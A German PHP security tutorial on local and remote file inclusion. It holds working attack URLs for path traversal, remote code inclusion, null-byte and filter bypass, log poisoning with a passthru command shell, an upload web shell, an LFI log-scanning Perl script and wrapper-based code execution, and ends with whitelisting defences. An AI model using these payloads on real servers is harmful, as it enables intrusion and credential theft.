PHP Sicherheit: Local & Remote File Inclusion

In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen. Was ist das? Wie nutzen es Angreifer aus? Wie schützt man sich davor?

Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.

Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML, JavaScript und Perl sind zwar von Vorteil, aber nicht zwingend erforderlich.

Zuerst gibt es eine Einführung in das Thema. Danach werden allgemeine Vorgehensweisen zur Ausnutzung von File Inclusion Sicherheitslücken anhand von praktischen Beispielen demonstriert.

Anschließend folgen einige fortgeschrittene Techniken, die versierte Angreifer ausnutzen – wie zum Beispiel das Einschleusen von eigenen Code oder die Umgehung von unzureichenden Schutzmaßnahmen.

Inhalts-Übersicht

Was ist File Inclusion?
Include Funktionen in PHP
Wodurch entstehen File Inclusion Sicherheitslücken?
Allgemeine Vorgehensweisen
Grundlegende Angriffstechniken
Fortgeschrittene Angriffstechniken
Gegenmaßnahmen

Was ist File Inclusion?

File Inclusion beschreibt eine Sicherheitslücke in Webanwendungen, die es Angreifern ermöglicht, Dateien (und somit auch Code) in einem Script einzubinden.

Man unterscheidet zwischen Local File Inclusion und Remote File Inclusion. Bei Local File Inclusion lassen sich im Gegensatz zu Remote File Inclusion nur lokale Dateien einbinden.

File Inclusion Sicherheitslücken gelten allgemein als kritisch.

Local File Inclusion

Local File Inclusion (kurz: LFI) ist eine Sicherheitslücke, mit der Angreifer ausschließlich lokale Dateien in einem Script einbinden können.

Dadurch lassen sich beispielsweise Inhalte aus Dateien, welche sich auf dem Server befinden, auslesen. Das können Passwortdateien, Konfigurationsdateien oder andere Dateien mit sensiblen Inhalten sein.

Sollten die eingebundenen Dateien PHP Code oder clientseitigen Code beinhalten, den der Webserver/Browser interpretieren kann, wird dieser ausgeführt. Somit lassen sich also auch vorhandene PHP Dateien einbinden und ausführen.

Versierte Angreifer können durch diverse Techniken auch eigenen Code in vorhandene Dateien einschleusen, der mithilfe einer LFI Sicherheitslücke ausgeführt werden kann.

Remote File Inclusion

Mit Remote File Inclusion (kurz: RFI) können Angreifer auch entfernte Dateien einbinden, die sich auf anderen Servern befinden. Somit ist es natürlich sehr leicht eigenen, beliebigen Code einzuschleusen.

Meistens werden sogenannte Webshells (bzw. PHP Shells) eingebunden, mit denen Angreifer in einem übersichtlichen Interface sämtliche Aktionen durchführen können, wie z.B. das Ausführen von System-Befehlen oder das Uploaden, Editieren, … von Dateien.

Remote File Inclusion ist nur möglich, wenn allow_url_fopen und allow_url_include in der PHP-Konfiguration (php.ini oder httpd.conf) auf On gesetzt sind.

RFI ist allgemein etwas kritischer zu betrachten, da auch unerfahrene Angreifer (sogenannte „Script-Kiddies“) problemlos eigenen Code einschleusen können.

Include Funktionen in PHP

In PHP gibt es mehrere Funktionen, mit denen Dateien in einem Script eingebunden werden können. Diese Funktionen werden sehr häufig von Programmierern verwendet, da sie eine Modularisierung* in Webanwendungen ermöglichen.

* Mit Modularisierung ist die Aufteilung des Source Codes gemeint.

In PHP gibt es folgende Include Funktionen:

include

Die Funktion include bindet eine übergebene Datei ein. Wird diese nicht gefunden, wird eine Warnmeldung ausgegeben. Der weitere Code wird ausgeführt.

include_once

Die Funktion include_once ist identisch mit der Funktion include – mit dem einzigen Unterschied, dass der Code der eingebundenen Datei im Scriptverlauf nur einmal ausgeführt wird.

require

Die Funktion require macht genau das selbe, wie die Funktion include – allderings mit einem großen Unterschied: Wird die übergebene Datei nicht gefunden, wird ein Fatal Error verursacht und die Ausführung des Scripts wird sofort abgebrochen.

require_once

Die Funktion require_once ist identisch mit der Funktion require – der Code wird hier allerdings auch nur einmal im Scriptverlauf ausgeführt.

virtual

Die Funktion virtual ist etwas anders, als die üblichen Include Funktionen. Sie funktioniert nur, wenn PHP als Apache-Modul installiert wurde.

Sie führt eine Apache-Unteranfrage aus – dies ist zum Beispiel bei CGI-Scripten hilfreich, die vom Apache geparst werden sollen.

Natürlich lassen sich hiermit auch PHP Dateien einbinden (und PHP Code ausführen).

Im Gegensatz zu anderen Include Funktionen, verhält sich diese Funktion bei bestimmten Dateiendungen etwas anders. Bindet man beispielsweise eine .txt-Datei ein, die PHP Code beinhaltet, wird dieser nicht ausgeführt. Der PHP Code ist dagegen im Quelltext zu sehen und ermöglicht somit das Auslesen von sensiblen Informationen (File Disclosure).

Wodurch entstehen File Inclusion Sicherheitslücken?

File Inclusion Sicherheitslücken entstehen, wenn an den genannten Include Funktionen ungefilterte Variablen übergeben werden, die Benutzereingaben enthalten können.

In PHP werden Benutzereingaben mittels superglobale Arrays übergeben. Dazu werden ab Version 4.1.0 meistens folgende superglobale Arrays verwendet:

Aber auch andere superglobale Arrays können Benutzereingaben enthalten, wie z.B.:

Sollte register_globals auf On gesetzt sein, können auch andere Variablen davon betroffen sein. In aktuellen PHP Versionen ist register_globals jedoch standardmäßig auf Off gesetzt.

Allgemeine Vorgehensweisen

RFI: Einbinden von entfernten Dateien

Bei RFI können Angreifer wie gesagt Dateien einbinden, die auf anderen Servern liegen. Dazu geben sie einfach die URL zu der entfernten Datei an.

Häufig werden Dateien mit der Endung .txt eingebunden, die PHP-Anweisungen enthalten. Damit ist sichergestellt, dass der PHP Code nicht auf dem Server interpretiert wird, wo die Datei liegt, sondern auf dem Zielsystem.

LFI: Auslesen von sensiblen Informationen

Das Ziel von Angreifern ist bei LFI häufig das Auslesen von sensiblen Informationen, wie Passwörter, Konfigurationseinstellungen, etc.

Hier einige Beispiele, die für Angreifer unter UNIX-Systemen interessant sein könnten:

Auch htaccess-Passwortdateien (.htpasswd) sind ein beliebtes Ziel.

Grundlegende Angriffstechniken

Nun kommen die ersten Praxisbeispiele aus die Sicht eines Angreifers. Nur wer weiß, wie Angreifer vorgehen, kann sich am besten davor schützen.

Anhand von praktischen Beispielen wird hier demonstriert, wie Angreifer File Inclusion Sicherheitslücken ausnutzen.

Beispiel 1:

<?php
  if(isset($_GET['file']))
    include($_GET['file']);
?>

Hier können die Dateien in der URL per GET-Parameter file an die Funktion include übergeben werden.

LFI:

http://localhost/vuln.php?file=/etc/passwd
http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf
http://localhost/vuln.php?file=/home/www/.htpasswd

RFI:

http://localhost/vuln.php?file=http://remotesite.tld/remotecode.txt

Beispiel 2:

<?php
  $file = $_GET['file'];
 
  if(isset($file))
    require('includes/' . $file);
?>

Auch hier können die Dateien per GET-Parameter übergeben werden – in diesem Fall wird allerdings das Verzeichnis includes/ vorgegeben.

Nehmen wir an das vorgegebene Verzeichnis befindet sich unter:

/home/inet/www/includes/

Haben es Angreifer auf /etc/passwd abgesehen, müssen sie sich hier erst einige Verzeichnise mit der Angabe ../ in der Verzeichnisstruktur nach oben bewegen, um ins Root-Verzeichnis zu gelangen. Denn Dort befindet sich das Verzeichnis etc/ in der die passwd Datei liegt.

Übergibt man hier „etc/passwd“, erscheint eine Fehlermeldung, da die Datei /home/inet/www/includes/etc/passwd nicht gefunden wurde.

Erfolgreiche Angriffe könnten wie folgt aussehen:

http://localhost/vuln.php?file=../../../../etc/passwd
http://localhost/vuln.php?file=../../../../etc/httpd/conf/virtualhosts.conf

Bei einer .htpasswd in /home/inet/www/.htpasswd muss man sich dagegen nur ein Verzeichnis in der Verzeichnisstruktur nach oben bewegen, um ins www/ Verzeichnis zu gelangen (wo sich die Datei befindet).

http://localhost/vuln.php?file=../.htpasswd

RFI ist hier ohne weiteres nicht möglich, da ein Verzeichnis vorgegeben wird. Selbst wenn man sich in der Verzeichnisstruktur bewegt – man würde sich immer in einem lokalen Verzeichnis befinden.

Hinweis: Oftmals wissen Angreifer nicht, wieviele Verzeichnisse sie sich nach oben bewegen müssen. Um ins Root-Verzeichnis zu gelangen, kann man aber auch einfach zu viele Verzeichnisse nach oben „springen“, da sich das Root-Verzeichnis in der Verzeichnisstruktur ganz oben befindet und kein übergeordnetes Verzeichnis existiert.

Beispiel 3:

<?php
  require_once('lang/' . $_COOKIE['lang']);
?>

In diesem Beispiel wird ein Cookie namens lang verwendet. Außerdem wird das Verzeichnis lang/ vorgegeben.

Den Wert eines Cookies kann man u.A. im Browser ändern – zum Beispiel mit JavaScript:

javascript:document.cookie="lang=test";void(0);

Nach dem Aufruf sollte das Cookie den Wert „test“ haben. Nachprüfen kann man das ganze ebenfalls mit JavaScript:

javascript:alert(document.cookie);

Nehmen wir an das lang/ Verzeichnis befindet sich unter:

/home/inet/www/lang/

Ein Angreifer könnte den Cookie-Wert also z.B. auf ../../../../etc/passwd setzen.

javascript:document.cookie="lang=../../../../etc/passwd";void(0);
javascript:document.cookie="lang=../../../../etc/httpd/conf/virtualhosts.conf";void(0);
javascript:document.cookie="lang=../.htpasswd";void(0);

Nach dem Aufruf des Scripts würden die Dateien erfolgreich eingebunden werden.

Auch hier ist RFI nicht möglich, da ein lokales Verzeichnis vorgegeben wird.

Fortgeschrittene Angriffstechniken

NULL Byte Poisoning

Meistens ist einem Programmierer bekannt, welche Dateiendung(en) die einzubindenen Dateien haben sollen. Im folgenden Beispiel wird die Dateiendung .php angehängt.

Beispiel 4:

<?php
  if(isset($_GET['file']))
    include($_GET['file'] . '.php');
?>

Gibt man hier als GET-Parameter „/etc/passwd“ an, erscheint eine Fehlermeldung, da die Datei /etc/passwd.php nicht existiert, sondern nur /etc/passwd – ohne Dateiendung.

Angreifer können dies mit einem sogenannten NULL Byte Zeichen \0 bzw. in Hexadezimal %00 umgehen. In vielen Programmiersprachen terminiert das NULL Byte Zeichen einen String. Diese Angriffstechnik ist auch als NULL Byte Poisoning oder NULL Byte Injection bekannt.

Die Angabe /etc/passwd%00 würde zu /etc/passwd%00.php führen. Da das NULL Byte Zeichen den String terminiert, wird der Rest des Strings (hier die Dateiendung) ignoriert.

Erfolgreiche Angriffe könnten daher wie folgt aussehen.

http://localhost/vuln.php?file=/etc/passwd%00
http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf%00
http://localhost/vuln.php?file=/home/www/.passwd%00
http://localhost/vuln.php?file=http://remotesite.tld/remotecode.txt%00

In PHP-Anwendungen ist dies allerdings nur möglich, wenn magic_quotes_gpc auf Off gesetzt ist.

Betrifft nur alte PHP Versionen: Seit PHP 5.3.4 sind NULL Bytes in einem Pfad ungültig. Somit ist NULL Byte Poisoning nicht mehr möglich. Des weiteren wurde magic_quotes_gpc in PHP 5.4.0 entfernt.

Hinweis: Bei RFI gibt es in solchen Fällen noch eine andere Technik, mit der auch magic_quotes_gpc umgangen werden kann. Dazu wird einfach vorgetäuscht, dass die Dateiendung ein GET-Parameter oder der Wert eines GET-Patameters ist.

Beispiel:
http://localhost/vuln.php?file=http://remotesite.tld/remotecode.txt?xy=

Dies führt zu:
http://localhost/vuln.php?file=http://remotesite.tld/remotecode.txt?xy=.php

Filter Bypassing

Eines der größten Probleme von PHP Programmierern sind fehlende Kenntnisse im Bereich PHP-Sicherheit. So entstehen häufig unzureichende Schutzmaßnahmen.

Folgendes Beispiel soll dies verdeutlichen.

Beispiel 5:

<?php
  $file = str_replace('../', '', $_GET['file']);
 
  if(isset($file))
    include('includes/' . $file);
?>

RFI ist wegen dem vorgegebenen Verzeichnis nicht möglich. Um sich auch vor LFI Angriffen zu schützen, verhindert der Programmierer den Zugriff auf darüber liegende Verzeichnisse, indem er den Wert ../ durch einen leeren String ersetzt.

Folgender Angriffsversuch würde also nicht funktionieren.

http://localhost/vuln.php?file=../../../../etc/passwd

Angreifer können diese Filterung mit der Angabe ....// umgehen.

Dieser Trick ist einfach nachzuvollziehen: Die Angabe ../ wird durch einen leeren String ersetzt und übrig bleibt ../

Erfolgreiche Angriffe könnten wie folgt aussehen.

http://localhost/vuln.php?file=....//....//....//....//etc/passwd
http://localhost/vuln.php?file=....//....//....//....//etc/httpd/conf/virtualhosts.conf
http://localhost/vuln.php?file=....//....//....//....//home/www/.htpasswd

Einige würden jetzt vielleicht sogar auf die Idee kommen beide Angaben durch einen leeren String zu ersetzen. Das bringt natürlich auch nichts, wie am folgenden Beispiel zu sehen ist.

http://localhost/vuln.php?file=..../....///..../....///..../....///..../....///etc/passwd

Zuerst werden die Angaben ....// ersetzt. Dies ergibt: ....//....//....//....//
Anschließend werden die Angaben ../ ersetzt und übrig bleibt: ../../../../

Code Injizierung in Logdateien

Bei Local File Inclusion lassen sich (wie bereits erwähnt) ausschließlich lokale Dateien einbinden. Das bedeutet, dass man nur Code von vorhandenen Dateien ausführen kann.

Versierte Angreifer können durch clevere Tricks allerdings auch eigenen Code in vorhandene Dateien einschleusen – zum Beispiel in Logdateien.

Der meist verwendete Webserver ist Apache. Dort werden unter anderem Zugriffe auf dem Webserver sowie Fehler protokolliert (Access und Error Logs).

Ein Eintrag in der Error Log Datei wird zum Beispiel verursacht, wenn ein Verzeichnis aufgerufen wurde, das nicht existiert (Error 404).

Die folgenden Beispiele beziehen sich auf XAMPP unter Windows. Dort befindet sich die Error Log Datei standardmäßig unter xampp/apache/logs/error.log

Wird z.B. http://localhost/foobar aufgerufen, wird folgender Eintrag verursacht.

[error] [client 127.0.0.1] File does not exist: C:/xampp/htdocs/foobar

Wie man sieht, wird das angegebene Verzeichnis mitprotokolliert. Dies können Angreifer ausnutzen, indem sie anstelle von einem Verzeichnis, Code angeben.

http://localhost/<?php passthru($_GET['cmd']); ?>

Hinweis: Mit der Funktion passthru lassen sich System-Befehle ausführen.

Der Browser URL-kodiert allerdings bestimmte Zeichen (wie z.B. spitze Klammern, Leerzeichen und Anführungszeichen), wie in der Error Log Datei zu sehen ist:

[error] [client 127.0.0.1] (20024)The given path is misformatted or contained invalid characters: Cannot map GET /%3C?php%20passthru($_GET[%27cmd%27]);%20?%3E HTTP/1.1 to file

Aus diesem Grund kann der PHP Code nicht interpretiert werden.

Um die URL-Kodierung zu verhindern, nutzen Angreifer meistens Telnet, SSH, etc.

Eine Telnet bzw. SSH Verbindung kann mit der Shell/Konsole oder mit speziellen Programmen wie PuTTY hergestellt werden.

Man kann auch kleine Scripts schreiben, die den Code ohne URL-Kodierung injizieren.

PuTTY - Code Injection

Bindet man nun die Error Log Datei per LFI ein, erscheint folgender Eintrag:

[error] [client 127.0.0.1] Invalid URI in request \xff\xfb\x1f\xff\xfb \xff\xfb\x18\xff\xfb'\xff\xfd\x01\xff\xfb\x03\xff\xfd\x03GET /
Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\xampp\apache\logs\error.log on line 17
HTTP/1.0

Hier sieht man, dass der PHP Code erfolgreich injiziert und ausgeführt wurde. Die Warnmeldung erscheint, weil noch nichts an der passthru-Funktion übergeben wurde.

Dies kann man nun mit dem gerade injizierten GET-Parameter machen.

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=[BEFEHL]

Hinweis: Bei XAMPP befindet sich das wwwroot-Verzeichnis unter xampp/htdocs/ – also muss hier ein Verzeichnis nach oben „gesprungen“ werden, um ins apache/logs/ Verzeichnis zu gelangen.

Harmloses Starten des Windows „Taschenrechner“:

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=start calc.exe

Da man beliebigen PHP Code ausführen kann, ist natürlich noch einiges mehr möglich.

Wie bereits erwähnt injizieren Angreifer mit RFI häufig Webshells, mit denen sie sämtliche Aktionen durchführen können. Das ist auch mit LFI durch Injizierung von Code möglich.

Unter UNIX-Systemen könnte man mit dem Programm wget entfernte Dateien auf das Zielsystem herunterladen. Hat man diese Möglichkeit nicht, könnte man auch einfach ein Upload Script injizieren, mit dem man beliebige Dateien hochladen kann:

<?php
  if(isset($_POST['upload']))
  {
    if(move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']))
      echo '<p><b>Die Datei wurde erfolgreich hochgeladen.<b></p>';
  }
?>
<form action="" enctype="multipart/form-data" method="post">
  <input type="file" name="file">
  <input type="submit" name="upload">
</form>

Dieses Script kann man beispielsweise in Base64 kodieren und mit der Funktion fwrite in eine neue Datei schreiben. Dazu sind ausreichende Schreibrechte* im angegebenen Verzeichnis notwendig.

*Angreifer suchen gezielt nach Verzeichnissen, wo sie ausreichende Schreibrechte haben. Bei einem CMS oder bei einem Forensystem ist das z.B. ein Upload-Verzeichnis.

PuTTY - Uploadscript

Nach dem Ausführen befindet sich das Upload-Script unter http://localhost/uploadscript.php

Logdateien ausfindig machen

Da sich Logdateien (wie z.B. die Error Log Datei) an unterschiedlichen Orten befinden können (verschiedene Betriebssysteme, Versionen, Installationsverzeichnisse, …), müssen Angreifer sie erstmal ausfindig machen. Dazu gibt es verschiedene Möglichkeiten.

Am einfachsten ist es, wenn man weiß, wo sich die httpd.conf Datei befindet. In der stehen sämtliche Konfigurationseinstellungen – u.A. auch der Pfad zur Error Log Datei.

http://localhost/vuln.php?file=../apache/conf/httpd.conf

Eine weitere Möglichkeit ist das Erzeugen von Fehlermeldungen, in denen der vollständige Pfad ausgegeben wird (Full Path Disclosure). Daraus erhält man oft nützliche Informationen.

Falls Angreifer nicht wissen, wo sich die Logdateien befinden, können sie auch automatisierte Tools (sogenannte „LFI Scanner“) nutzen, welche die Arbeit für sie erledigen.

Das folgende (vereinfachte) Perl Script durchsucht z.B. vorgegebene Verzeichnisse.

#!/usr/bin/perl
 
# Beispiel Script zum Durchsuchen von Error Log Dateien
# www.webmaster-tipps.de
 
use strict;
use LWP::UserAgent;
 
die "\nUsage: perl $0 <URL>\n" if(@ARGV < 1);
 
my $lfi_url = $ARGV[0]; # Bsp: http://localhost/vuln.php?file=
 
my @logpath = (
"../logs/error.log",
"../../logs/error.log",
"../../../logs/error.log",
"../../../../logs/error.log",
"../../../../../logs/error.log",
"../logs/error_log",
"../../logs/error_log",
"../../../logs/error_log",
"../../../../logs/error_log",
"../../../../../logs/error_log",
"../apache/logs/error.log",
"../../apache/logs/error.log",
"../../../apache/logs/error.log",
"../../../../apache/logs/error.log",
"../../../../../apache/logs/error.log",
"../apache/logs/error_log",
"../../apache/logs/error_log",
"../../../apache/logs/error_log",
"../../../../apache/logs/error_log",
"../../../../../apache/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../var/httpd/logs/error.log",
"../../../../../var/httpd/logs/error_log",
"../../../../../var/home/logs/error.log",
"../../../../../var/home/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../var/www/logs/error_log",
"../../../../../var/log/error.log",
"../../../../../var/log/error_log");
 
my $useragent = LWP::UserAgent->new;
$useragent->agent('Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)');
 
my $resp = $useragent->get($lfi_url);
if(!$resp->is_success) { die "\nVerbindung zu $lfi_url fehlgeschlagen.\n"; }
 
my $count = 0;
 
foreach(@logpath)
{
  $resp = $useragent->get($lfi_url . $logpath[$count]);
  if(index($resp->content, "[error]") != -1)
  {
    die "\nErrorLog gefunden:\n\n" . $logpath[$count] . "\n";
  }
  $count++;
}

Hinweis: Windows liefert standardmäßig kein Perl mit, daher muss es erst installiert werden. Dazu eignet sich z.B. ActivePerl.

Code Injizierung in Bilddateien

Eine weitere Möglichkeit ist die Injizierung von Code in Bilddateien.

Viele Webanwendungen ermöglichen das Hochladen von Bildern. In vielen Forensystemen sind das z.B. Benutzeravatare oder Bilder in Benutzerprofilen.

Bilddateien kann man mit einem normalen Texteditor bzw. Hexeditor öffnen und bearbeiten. Allerdings können dadurch sehr schnell fehlerhafte Bilddateien erzeugt werden. Viele Anwendungen prüfen, ob es sich um fehlerfreie Bilddateien handelt.

Dazu gibt es aber auch wieder einige hilfreiche Tools (die eigentlich dafür gedacht sind Kommentare in Bilddateien zu schreiben).

Google liefert bei der Suche nach „jpeg comment editor“ genügend Ergebnisse.

Injiziert ein Angreifer PHP Code mit solchen Tools in einer Bilddatei und lädt sie hoch, kann der Code mithilfe einer LFI Sicherheitslücke ausgeführt werden.

http://localhost/vuln.php?file=uploads/bild.jpg

Code Injizierung in anderen Dateien

Neben den Apache Logs befinden sich auf vielen Servern noch andere Logdateien, wie z.B. Logs von Web Analytics Tools, die ausführliche Besucherstatistiken beinhalten.

Das könnten User-Agents, HTTP-Referrer, etc. sein. In solchen Fällen können Angreifer auch Code einschleusen, da der User-Agent / Referrer im Browser bzw. im HTTP-Header verändert werden kann – zum Beispiel mit dem Firefox Addon Live HTTP Headers (Alternative: HTTP Header Live).

Code Injection via User Agent

PHP Input Wrapper

Eine weitere fortgeschrittene (und eher unbekanntere) Angriffstechnik ist die Injizerung von Code per PHP Input Wrapper php://input

In diesem Wrapper wird der Request-Body von POST-Requests eingelesen. Mit einer File Inclusion Sicherheitslücke können Angreifer somit beliebigen Code mittels POST-Requests ausführen.

Für Angreifer ergeben sich bei dieser Methode einige Vorteile:

Wenn allow_url_fopen auf Off gesetzt ist, sind solche Angriffe dennoch möglich.

Allerdings muss allow_url_include auf On gesetzt sein.

Ein weiterer Vorteil für Angreifer ist, dass die Daten per POST-Methode übergeben werden. Somit wird der injizierte Code z.B. nicht in Apache’s Access-Logs protokolliert.

http://localhost/vuln.php?file=php://input

Den POST-Request kann man ebenfalls mit Live HTTP Headers HTTP Header Live senden.

Code Injection via PHP Input Wrapper

Ein weiterer Input Wrapper ist data: – hier werden kodierte Strings in der URL übergeben, die vom Wrapper dekodiert werden. Das Ergebnis wird anschließend auf der Seite ausgegeben. Beinhalten die Strings PHP Code, wird dieser interpretiert und ausgeführt.

http://localhost/vuln.php?file=data:;base64,PD9waHAgcGFzc3RocnUoImRpciIpOyA/Pg==

Diese Methode ist allerdings nur möglich, wenn allow_url_fopen auf On gesetzt ist.

Gegenmaßnahmen

White-Listing

Um sich vor File Inclusion Angriffen zu schützen, ist das sogenannte White-Listing in den meisten Fällen am sinnvollsten. Beim White-Listing werden nur bestimmte Angaben zugelassen.

Beim Black-Listing werden dagegen alle Angaben zugelassen und anschließend gefiltert.

In den meisten Fällen wissen Programmierer bereits, welche Dateien eingebunden werden sollen. Von daher bietet sich das White-Listing in solchen Fällen als sicherer Schutz gegen File Inclusion Angriffe an.

Eine White-List könnte in PHP wie folgt aussehen.

<?php
  if(isset($_GET['file']))
  {  
    switch($_GET['file'])
    {
      case 'home':
        include('home.php');
        break;
      case 'services':
        include('services.php');
        break;
      case 'kontakt':
        include('kontakt.php');
        break;
      default:
        include('home.php');
    }
  }
?>

Hier werden bei den Angaben „home“, „services“ und „kontakt“ die entsprechenden Dateien eingebunden. Falls etwas anderes angegeben wird, wird durch die default-Anweisung die Datei home.php eingebunden. Somit sind File Inclusion Angriffe unmöglich.

Falls nicht bekannt ist, welche Dateien eingebunden werden sollen und Benutzereingaben übergeben werden können, sollte man diese auch mit einer White-List validieren, da man vorher weiß, welches Format die Dateinamen haben. So könnte man z.B. nur bestimmte Zeichen erlauben.

Hinweis: Vor einer Filterung sollte man sich immer zuerst die Konfigurationseinstellungen anschauen. Diese können entweder zum Schutz beitragen oder genau das Gegenteil bewirken.

Diesen Beitrag weiterempfehlen: